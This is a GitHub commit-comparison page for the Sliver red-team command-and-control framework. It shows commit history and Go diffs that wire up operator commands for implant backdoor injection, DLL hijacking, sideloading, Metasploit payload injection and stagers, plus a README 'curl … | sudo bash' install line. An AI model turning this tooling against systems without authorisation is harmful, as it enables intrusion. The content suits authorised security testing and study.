Compare commits

...
96 Commits
Author SHA1 Message Date
rkervella 483654d58f Fix error check during client cert generation 2021-11-26 12:52:34 +01:00
Ronan Kervella 13cbf53851 Merge pull request #527 from BishopFox/dll-hijack-fix
DLL Hijack update
2021-10-21 15:17:37 +02:00
rkervella e31fd56730 Fix DLL hijack protobuf 2021-10-21 14:45:55 +02:00
Ronan Kervella 9af5d9126f Merge pull request #525 from BishopFox/fix-stager-close-conn
Close TCP connection on TCP stager
2021-10-12 12:49:09 +02:00
rkervella d9499c26a1 Close connection once payload has been sent. 2021-10-12 12:21:49 +02:00
Ronan Kervella 5bd101bc47 Merge pull request #524 from BishopFox/bugfix/fix-operator-usernames
Enable hyphen in operator names
2021-10-12 10:57:30 +02:00
Chris Smith 0e1d21bb28 Enable hyphen in operator names 2021-10-12 05:20:15 +00:00
Ronan Kervella 1f5a950752 Merge pull request #523 from BishopFox/fix-spawndll-crash
Handle 32 bits PE for sideload/spawndll. Fix crash on unhandled OptionalHeader type
2021-10-11 11:43:10 +02:00
rkervella 3a1ff3fa52 Handle 32 bits PE for sideload/spawndll. Fix crash on unhandled OptionalHeader type 2021-10-11 09:43:47 +02:00
Ronan Kervella 98aa4ed58c Merge pull request #518 from BishopFox/dependabot/bundler/docs/nokogiri-1.12.5
Bump nokogiri from 1.11.7 to 1.12.5 in /docs
2021-09-28 10:16:18 +02:00
dependabot[bot] d0a38bb792 Bump nokogiri from 1.11.7 to 1.12.5 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.11.7 to 1.12.5.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.11.7...v1.12.5)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2021-09-28 05:59:37 +00:00
moloch-- 8cc3f1984a Updated garble 2021-08-26 17:31:01 -05:00
Joe 80b40341d8 Merge pull request #503 from RafBishopFox/master
Getprivs: Cleanup and Adding Process Name
2021-08-21 11:53:19 -05:00
Raf c4101f502d Add process name to getprivs and cleaning up getprivs code 2021-08-21 08:09:36 -04:00
Joe 59bdaa7469 Merge pull request #501 from BishopFox/gh-pages
Updated Linux install script
2021-08-19 15:17:23 -05:00
moloch-- cce67c289a Updated linux install script 2021-08-19 14:55:49 -05:00
Joe 97e7df764c Merge pull request #500 from BishopFox/go/v1.17
Go/v1.17
2021-08-19 11:48:43 -05:00
moloch-- 33e03df1c9 Fix case of Binject in vendor/ 2021-08-19 11:09:47 -05:00
moloch-- d8fc1244d6 Updated Github Actions to use 1.17 2021-08-19 10:14:46 -05:00
moloch-- 93e5d21941 Go mod tidy/vendor with 1.17 2021-08-19 10:13:36 -05:00
moloch-- 7f31a9ea3e Clean up of Dockerfile, fixed import 2021-08-19 09:59:48 -05:00
moloch-- 242afb0011 Go v1.17 2021-08-19 09:38:00 -05:00
Ronan Kervella 93935b1691 Merge pull request #497 from RafBishopFox/master
Extending ls functionality
2021-08-18 17:00:56 +02:00
Raf a13a4dc12e ls: Adding a bit more info to long help (Round 2). 2021-08-18 10:04:25 -04:00
Raf 4fa4562bea ls: Adding a bit more info to long help. 2021-08-18 09:24:11 -04:00
Raf 61b86a4a9a Extending ls functionality 2021-08-18 07:52:31 -04:00
Ronan Kervella 2c70ff1291 Merge pull request #496 from RafBishopFox/master
Adding process integrity to getprivs
2021-08-16 15:55:37 +02:00
Raf 4a3a2a7be3 Adding process integrity to getprivs 2021-08-16 09:23:56 -04:00
Joe 2a8f9bca18 Merge pull request #493 from BishopFox/go/v1.16.7
Go v1.16.7
2021-08-09 10:29:06 -05:00
moloch-- d46a67c840 Go v1.16.7 2021-08-09 10:06:49 -05:00
Ronan Kervella 043eda5bc4 Merge pull request #492 from BishopFox/procdump-memory
In-memory procdump
2021-08-04 13:23:41 +02:00
rkervella a51d93cf58 Merge branch 'master' into procdump-memory 2021-08-04 12:14:22 +02:00
rkervella 44abb0e03b Switch to in memory process dump on windows 2021-08-04 12:00:01 +02:00
Ronan Kervella 7ef4923fc0 Merge pull request #490 from iiiusky/fix/portfwdBug
fix: Remove default from select, which will cause the cpu to spike
Overriding commit signing for this one, it's a one line change with no security impact.
2021-08-03 11:50:18 +02:00
sky 3f83761a90 fix: Remove default from select, which will cause the cpu to spike 2021-08-03 16:11:36 +08:00
Ronan Kervella 94eb13610b Merge pull request #485 from BishopFox/registry
Add registry list-subkeys and list-values sub commands
2021-07-29 11:37:29 +02:00
rkervella 394fdb4a1e Add registry list-subkeys and list-values sub commands 2021-07-29 11:06:27 +02:00
Ronan Kervella 9d3b6564f8 Merge pull request #480 from BishopFox/fix/reg-crash
Fix crash on registry read
2021-07-27 19:02:34 +02:00
rkervella 9cdb3e6def Apply fix to reg-create and reg-write too 2021-07-27 18:43:07 +02:00
rkervella 2df7f1319f Fix #479 2021-07-27 18:40:18 +02:00
rkervella 4ad24ac3a0 Fix typo 2021-07-27 18:14:20 +02:00
Joe d928ca58dd Merge pull request #478 from RafBishopFox/master
Add new Windows command getprivs
2021-07-25 16:30:00 -05:00
Raf c18ba5fcb8 Merge branch 'master' of github.com:RafBishopFox/sliver 2021-07-25 16:29:02 -04:00
Raf 0e9545ae1c Adding getprivs command for Windows 2021-07-25 16:28:48 -04:00
Raf e6d1041068 Adding getprivs command for Windows 2021-07-25 16:07:49 -04:00
rkervella 85265d663f WIP, doesn't work with LSASS 2021-07-23 13:45:13 +02:00
Joe 7a38ddffb6 Merge pull request #477 from BishopFox/fix/proto
Migrate to google.golang.org/protobuf
2021-07-21 18:16:19 -05:00
moloch-- 5b160e358e Moved to google.golang.org/protobuf 2021-07-21 11:27:30 -05:00
moloch-- f94f0fc938 added implant/README.md 2021-07-21 11:17:57 -05:00
moloch-- 714499b21b added warning to constants header 2021-07-21 11:06:25 -05:00
Ronan Kervella 9be7ccb209 Merge pull request #476 from BishopFox/extensions
Fix extensions arguments parsing
2021-07-20 16:33:27 +02:00
rkervella a43850333b Fix extensions arguments parsing 2021-07-20 16:00:43 +02:00
Ronan Kervella f6351f725a Merge pull request #475 from BishopFox/extensions
Update sideload to use Donut
2021-07-20 15:10:19 +02:00
rkervella 1079a559ab Update sideload to use Donut 2021-07-20 14:37:45 +02:00
Ronan Kervella 5bcf9ba893 Merge pull request #474 from BishopFox/cat-hex
Add hex dump to the cat command
2021-07-20 13:27:44 +02:00
rkervella ebfa3ca86c Add hex dump to the cat command 2021-07-20 12:56:00 +02:00
Joe 6c62dfb486 Merge pull request #473 from BishopFox/fix/dns
Fixed issue #436 and standardized on --lhost/-L for all listener cmds
2021-07-19 17:46:28 -05:00
moloch-- 76cd61a27d Fixed issue #436 and standardized on --lhost/-L for all listener commands 2021-07-19 15:53:16 -05:00
Ronan Kervella 35d692b4ca Merge pull request #472 from BishopFox/dll-hijack
Add dllhijack command
2021-07-19 17:16:44 +02:00
rkervella a1058aa4f0 Update long help 2021-07-19 16:40:11 +02:00
rkervella ae3c082498 Add dllhijack command 2021-07-19 15:43:16 +02:00
Ronan Kervella d3a107cf43 Merge pull request #471 from BishopFox/duphandle
Use DuplicateHandle to get a fully privileged handle to remote processes instead of PROCESS_ALL_ACCESS request
2021-07-16 15:00:40 +02:00
rkervella ee5acfe47b No more OpenProcess with PROCESSS_ALL_ACCESS 2021-07-16 14:16:18 +02:00
Joe 10c3062016 Merge pull request #470 from BishopFox/stage
Go v1.16.6
2021-07-15 15:11:43 -05:00
moloch-- 5e80dfcfb9 Go v1.16.6 2021-07-15 14:51:37 -05:00
Joe 5bcfa4c249 Merge pull request #468 from BishopFox/stage
Disable garble's -tiny option
2021-07-13 08:07:10 -05:00
rkervella ac3e29a287 Disable garble's -tiny option 2021-07-13 14:34:20 +02:00
Joe a3af100db0 Update README.md 2021-07-09 17:05:58 -05:00
Joe 7489c69962 Merge pull request #465 from BishopFox/gh-pages
Bug Fixes & GH Pages
2021-07-09 16:45:21 -05:00
moloch-- 3859b3493e Added some content 2021-07-09 16:26:13 -05:00
moloch-- 874023b8c3 Fix bug in loot allOf 2021-07-09 16:11:14 -05:00
moloch-- 5f971b36d4 Outlined docs/ 2021-07-09 14:46:59 -05:00
moloch-- b2451c4bfb All survey v2 2021-07-09 14:46:02 -05:00
moloch-- 2af5195c85 Updated readme 2021-07-06 20:53:11 -05:00
moloch-- bff100ad31 Updated readme 2021-07-06 19:43:54 -05:00
Joe b20ee295bb Merge pull request #464 from BishopFox/ux/generate
Add warning when cross-compiling to targets without a cross-compiler …
2021-07-06 09:39:18 -05:00
moloch-- 249f9355f2 Fix typo 2021-07-06 09:19:01 -05:00
moloch-- 3793fae878 Add warning when cross-compiling to targets without a cross-compiler instaleld 2021-07-06 09:15:45 -05:00
Ronan Kervella 3e8ce33a49 Merge pull request #462 from BishopFox/fix/461
Fix #461
2021-07-06 15:16:17 +02:00
rkervella 2ea95543a9 Fix #461 2021-07-06 14:28:23 +02:00
moloch-- 1857b9c0ed More readme's 2021-07-05 23:05:45 -05:00
Joe 9e56e9ac4b Merge pull request #459 from BishopFox/reaction
Reaction
2021-07-05 21:11:35 -05:00
moloch-- 106b2a7c5c Cleanup/tweaks 2021-07-05 18:07:42 -05:00
moloch-- 8d3cba07ef Added verbose help for reactions 2021-07-05 17:09:11 -05:00
moloch-- 43398e2eee Added save/reload cmds, autoload reactions if they exist at start up 2021-07-05 16:34:06 -05:00
moloch-- 8d8e902a72 get-env, etc -> env with subcommands 2021-07-05 15:57:01 -05:00
moloch-- 28c7460983 Cleanup some reaction code 2021-07-05 13:32:35 -05:00
moloch-- 084faf44ca Implemented event reaction command 2021-07-05 12:09:40 -05:00
Joe c616f7a9b2 Merge pull request #458 from BishopFox/fix/golint
Various golint fixes
2021-07-04 14:22:13 -05:00
moloch-- 53d6d14c72 Various golint fixes 2021-07-04 14:04:29 -05:00
Joe ea32922663 Merge pull request #457 from BishopFox/fix/golint
Fix/golint
2021-07-04 13:39:58 -05:00
moloch-- 7321f62778 golint fixes in server/generate 2021-07-04 13:22:27 -05:00
moloch-- cee5966e77 golint fixes in client/core 2021-07-04 13:19:53 -05:00
moloch-- b800448670 golint fixes in server/ 2021-07-04 13:17:18 -05:00
moloch-- 9a5d6948fe Added export comments to client/command 2021-07-04 13:08:15 -05:00
moloch-- 2e4ab0a3bb Move lic 2021-07-04 10:53:04 -05:00
311 changed files with 7417 additions and 4696 deletions

No files matched your search

+15 -22
View File
@@ -1,28 +1,21 @@
assets/*.zip
assets/darwin
assets/linux
assets/windows
server/assets/fs/**.zip
/server/assets/fs/**.zip
*.sdk.tar.xz
/*.sdk.tar.xz
sliver-server
sliver-server.exe
/sliver-server
/sliver-server.exe
sliver-client
sliver-client.exe
/sliver-client
/sliver-client.exe
gui/
gui/*
/.vscode/
/.vscode/*
.vscode/
.vscode/*
/.github/
/.github/*
.github/
.github/*
build.py
LICENSE
SECURITY.md
README.md
CONTRIBUTING.md
/build.py
/LICENSE
/SECURITY.md
/README.md
/CONTRIBUTING.md
+4 -4
View File
@@ -14,10 +14,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: OS Packages
run: |
@@ -59,10 +59,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: Mingw
run: brew install mingw-w64
+2 -2
View File
@@ -17,10 +17,10 @@ jobs:
steps:
# Setup go environment
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: "^1.16"
go-version: "^1.17"
- name: Checkout repository
uses: actions/checkout@v2
+4 -4
View File
@@ -15,10 +15,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: OS Packages
run: |
@@ -50,10 +50,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: Mingw
run: brew install mingw-w64
+7 -7
View File
@@ -1,10 +1,10 @@
.vscode/*
.devcontainer
/.vscode/*
/.devcontainer
Dockerfile.*
*.sdk.tar.xz
/Dockerfile.*
/*.sdk.tar.xz
release-*
/release-*
# Diffs
*.orig
@@ -30,10 +30,10 @@ sliver-server-windows.zip
*.dylib
# Test binary, build with `go test -c`
*.test
/*.test
# Output of the go coverage tool, specifically when used with LiteIDE
*.out
/*.out
# Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
.glide/
+11 -8
View File
@@ -1,4 +1,4 @@
FROM golang:1.16.5
FROM golang:1.17
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -42,26 +42,29 @@ RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
# > Sliver
#
# protoc
# Protoc
WORKDIR /tmp
RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
&& cp -vv ./bin/protoc /usr/local/bin
RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
&& go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
# assets
# Go assets
WORKDIR /go/src/github.com/bishopfox/sliver
ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
RUN ./go-assets.sh
# Compile sliver server
ADD . /go/src/github.com/bishopfox/sliver/
RUN go mod vendor && make linux && cp -vv sliver-server /opt/sliver-server
RUN make \
&& cp -vv sliver-server /opt/sliver-server \
&& /opt/sliver-server unpack --force
RUN ls -lah \
&& /opt/sliver-server unpack --force \
&& /go/src/github.com/bishopfox/sliver/go-tests.sh
# Run unit tests
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
# Clean up
RUN make clean \
&& rm -rf /go/src/* \
&& rm -rf /home/sliver/.sliver
+6 -2
View File
@@ -1,7 +1,7 @@
Sliver
======
Sliver is an open source, cross-platform adversary emulation/red team platform, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
@@ -15,7 +15,7 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
* Staged and Stageless payloads
* [Procedurally generated C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood) over HTTP(S)
* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, HTTP(S), and DNS
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
* Local and remote process injection
* Windows process migration
@@ -28,6 +28,10 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://github.com/BishopFox/sliver/wiki/Getting-Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
#### Linux One Liner
`curl https://sliver.sh/install|sudo bash` and then run `sliver`
### Help!
Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
+4 -2
View File
@@ -6,11 +6,13 @@ This directory contains the client implementation, pretty much all of this code
__Important:__ No code in this directory can import any code from `server/`.
* `assets/` - Static asset files and management code (e.g. client configs)
* `command/` - Command implementations
* `cli/` - Command line interface implementation
* `command/` - Console command implementations
* `constants/` - Various shared constant values
* `core/` - Client state management
* `help/` - Console help
* `licenses/` - Open source licenses
* `spin/` - Console spinner library
* `tcpproxy/` - Local TCP proxy listener code
* `transport/` - Wires the client to the server
* `version/` - Version information
* `main.go` - Entrypoint
+1
View File
@@ -27,6 +27,7 @@ import (
"github.com/desertbit/grumble"
)
// BackdoorCmd - Command to inject implant code into an existing binary
func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+195 -21
View File
@@ -34,7 +34,10 @@ package command
*/
import (
"os"
"github.com/bishopfox/sliver/client/command/backdoor"
"github.com/bishopfox/sliver/client/command/dllhijack"
"github.com/bishopfox/sliver/client/command/environment"
"github.com/bishopfox/sliver/client/command/exec"
"github.com/bishopfox/sliver/client/command/extensions"
@@ -51,6 +54,7 @@ import (
"github.com/bishopfox/sliver/client/command/portfwd"
"github.com/bishopfox/sliver/client/command/privilege"
"github.com/bishopfox/sliver/client/command/processes"
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/registry"
"github.com/bishopfox/sliver/client/command/screenshot"
"github.com/bishopfox/sliver/client/command/sessions"
@@ -71,6 +75,13 @@ const (
// BindCommands - Bind commands to a App
func BindCommands(con *console.SliverConsoleClient) {
n, err := reaction.LoadReactions()
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("Failed to load reactions: %s\n", err)
} else if n > 0 {
con.PrintInfof("Loaded %d reaction(s) from disk\n", n)
}
con.App.SetPrintHelp(help.HelpCmd(con)) // Responsible for display long-form help templates, etc.
// [ Update ] --------------------------------------------------------------
@@ -138,7 +149,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Start an mTLS listener",
LongHelp: help.GetHelpFor([]string{consts.MtlsStr}),
Flags: func(f *grumble.Flags) {
f.String("s", "server", "", "interface to bind server to")
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultMTLSLPort, "tcp listen port")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -158,9 +169,10 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Start a WireGuard listener",
LongHelp: help.GetHelpFor([]string{consts.WGStr}),
Flags: func(f *grumble.Flags) {
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultWGLPort, "udp listen port")
f.Int("n", "nport", generate.DefaultWGNPort, "virtual tun interface listen port")
f.Int("x", "key-port", generate.DefaultWGKeyExPort, "virtual tun inteface key exchange port")
f.Int("x", "key-port", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("p", "persistent", false, "make persistent across restarts")
},
@@ -180,6 +192,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("d", "domains", "", "parent domain(s) to use for DNS c2")
f.Bool("c", "no-canaries", false, "disable dns canary detection")
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultDNSLPort, "udp listen port")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -201,6 +214,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("d", "domain", "", "limit responses to specific domain")
f.String("w", "website", "", "website name (see websites cmd)")
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultHTTPLPort, "tcp listen port")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -222,6 +236,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("d", "domain", "", "limit responses to specific domain")
f.String("w", "website", "", "website name (see websites cmd)")
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultHTTPSLPort, "tcp listen port")
f.String("c", "cert", "", "PEM encoded certificate file")
@@ -596,7 +611,6 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Load and execute a shared object (shared library/DLL) in a remote process",
LongHelp: help.GetHelpFor([]string{consts.SideloadStr}),
Flags: func(f *grumble.Flags) {
f.String("a", "args", "", "Arguments for the shared library function")
f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
f.Bool("s", "save", false, "save output to file")
@@ -605,6 +619,7 @@ func BindCommands(con *console.SliverConsoleClient) {
},
Args: func(a *grumble.Args) {
a.String("filepath", "path the shared library file")
a.StringList("args", "arguments for the binary", grumble.Default([]string{}))
},
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
@@ -664,7 +679,7 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.MsfStr}),
Flags: func(f *grumble.Flags) {
f.String("m", "payload", "meterpreter_reverse_https", "msf payload")
f.String("o", "lhost", "", "listen host")
f.String("L", "lhost", "", "listen host")
f.Int("l", "lport", 4444, "listen port")
f.String("e", "encoder", "", "msf encoder")
f.Int("i", "iterations", 1, "iterations of the encoder")
@@ -687,7 +702,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.Int("p", "pid", -1, "pid to inject into")
f.String("m", "payload", "meterpreter_reverse_https", "msf payload")
f.String("o", "lhost", "", "listen host")
f.String("L", "lhost", "", "listen host")
f.Int("l", "lport", 4444, "listen port")
f.String("e", "encoder", "", "msf encoder")
f.Int("i", "iterations", 1, "iterations of the encoder")
@@ -808,8 +823,8 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("o", "os", "windows", "operating system")
f.String("a", "arch", "amd64", "cpu architecture")
f.String("l", "lhost", "", "Listening host")
f.Int("p", "lport", 8443, "Listening port")
f.String("L", "lhost", "", "Listening host")
f.Int("l", "lport", 8443, "Listening port")
f.String("r", "protocol", "tcp", "Staging protocol (tcp/http/https)")
f.String("f", "format", "raw", "Output format (msfvenom formats, see `help generate stager` for the list)")
f.String("b", "badchars", "", "bytes to exclude from stage shellcode")
@@ -1023,6 +1038,9 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.LsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("r", "reverse", false, "reverse sort order")
f.Bool("m", "modified", false, "sort by modified time")
f.Bool("s", "size", false, "sort by size")
},
Args: func(a *grumble.Args) {
a.String("path", "path to enumerate", grumble.Default("."))
@@ -1119,6 +1137,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("c", "colorize-output", false, "colorize output")
f.Bool("x", "hex", false, "display as a hex dump")
f.Bool("X", "loot", false, "save output as loot")
},
Args: func(a *grumble.Args) {
@@ -1529,10 +1548,10 @@ func BindCommands(con *console.SliverConsoleClient) {
// [ Environment ] ---------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.GetEnvStr,
envCmd := &grumble.Command{
Name: consts.EnvStr,
Help: "List environment variables",
LongHelp: help.GetHelpFor([]string{consts.GetEnvStr}),
LongHelp: help.GetHelpFor([]string{consts.EnvStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1546,12 +1565,11 @@ func BindCommands(con *console.SliverConsoleClient) {
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.SetEnvStr,
}
envCmd.AddCommand(&grumble.Command{
Name: consts.SetStr,
Help: "Set environment variables",
LongHelp: help.GetHelpFor([]string{consts.SetEnvStr}),
LongHelp: help.GetHelpFor([]string{consts.EnvStr, consts.SetStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1567,11 +1585,10 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.UnsetEnvStr,
envCmd.AddCommand(&grumble.Command{
Name: consts.UnsetStr,
Help: "Clear environment variables",
LongHelp: help.GetHelpFor([]string{consts.UnsetEnvStr}),
LongHelp: help.GetHelpFor([]string{consts.EnvStr, consts.UnsetStr}),
Args: func(a *grumble.Args) {
a.String("name", "environment variable name")
},
@@ -1586,6 +1603,9 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(envCmd)
// [ Licenses ] ---------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.LicensesStr,
@@ -1611,7 +1631,6 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.SliverWinHelpGroup,
}
registryCmd.AddCommand(&grumble.Command{
Name: consts.RegistryReadStr,
Help: "Read values from the Windows registry",
@@ -1627,7 +1646,7 @@ func BindCommands(con *console.SliverConsoleClient) {
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("H", "hive", "HKCU", "egistry hive")
f.String("H", "hive", "HKCU", "registry hive")
f.String("o", "hostname", "", "remote host to read values from")
},
HelpGroup: consts.SliverWinHelpGroup,
@@ -1674,6 +1693,45 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("o", "hostname", "", "remote host to write values to")
},
})
registryCmd.AddCommand(&grumble.Command{
Name: consts.RegistryListSubStr,
Help: "List the sub keys under a registry key",
LongHelp: help.GetHelpFor([]string{consts.RegistryListSubStr}),
Args: func(a *grumble.Args) {
a.String("registry-path", "registry path")
},
Run: func(ctx *grumble.Context) error {
con.Println()
registry.RegListSubKeysCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("H", "hive", "HKCU", "registry hive")
f.String("o", "hostname", "", "remote host to write values to")
},
})
registryCmd.AddCommand(&grumble.Command{
Name: consts.RegistryListValuesStr,
Help: "List the values for a registry key",
LongHelp: help.GetHelpFor([]string{consts.RegistryListValuesStr}),
Args: func(a *grumble.Args) {
a.String("registry-path", "registry path")
},
Run: func(ctx *grumble.Context) error {
con.Println()
registry.RegListValuesCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("H", "hive", "HKCU", "registry hive")
f.String("o", "hostname", "", "remote host to write values to")
},
})
con.App.AddCommand(registryCmd)
// [ Pivots ] --------------------------------------------------------------
@@ -1846,6 +1904,7 @@ func BindCommands(con *console.SliverConsoleClient) {
con.App.AddCommand(wgSocksCmd)
// [ Portfwd ] --------------------------------------------------------------
portfwdCmd := &grumble.Command{
Name: consts.PortfwdStr,
Help: "In-band TCP port forwarding",
@@ -1897,6 +1956,7 @@ func BindCommands(con *console.SliverConsoleClient) {
con.App.AddCommand(portfwdCmd)
// [ Monitor ] --------------------------------------------------------------
monitorCmd := &grumble.Command{
Name: consts.MonitorStr,
Help: "Monitor threat intel platforms for Sliver implants",
@@ -2054,4 +2114,118 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(lootCmd)
// [ Reactions ] -----------------------------------------------------------------
reactionCmd := &grumble.Command{
Name: consts.ReactionStr,
Help: "Manage automatic reactions to events",
LongHelp: help.GetHelpFor([]string{consts.ReactionStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
reaction.ReactionCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
reactionCmd.AddCommand(&grumble.Command{
Name: consts.SetStr,
Help: "Set a reaction to an event",
LongHelp: help.GetHelpFor([]string{consts.ReactionStr, consts.SetStr}),
Flags: func(f *grumble.Flags) {
f.String("e", "event", "", "specify the event type to react to")
},
Run: func(ctx *grumble.Context) error {
con.Println()
reaction.ReactionSetCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
reactionCmd.AddCommand(&grumble.Command{
Name: consts.UnsetStr,
Help: "Unset an existing reaction",
LongHelp: help.GetHelpFor([]string{consts.ReactionStr, consts.UnsetStr}),
Flags: func(f *grumble.Flags) {
f.Int("i", "id", 0, "the id of the reaction to remove")
},
Run: func(ctx *grumble.Context) error {
con.Println()
reaction.ReactionUnsetCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
reactionCmd.AddCommand(&grumble.Command{
Name: consts.SaveStr,
Help: "Save current reactions to disk",
LongHelp: help.GetHelpFor([]string{consts.ReactionStr, consts.SaveStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
reaction.ReactionSaveCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
reactionCmd.AddCommand(&grumble.Command{
Name: consts.ReloadStr,
Help: "Reload reactions from disk, replaces the running configuration",
LongHelp: help.GetHelpFor([]string{consts.ReactionStr, consts.ReloadStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
reaction.ReactionReloadCmd(ctx, con)
con.Println()
return nil
},
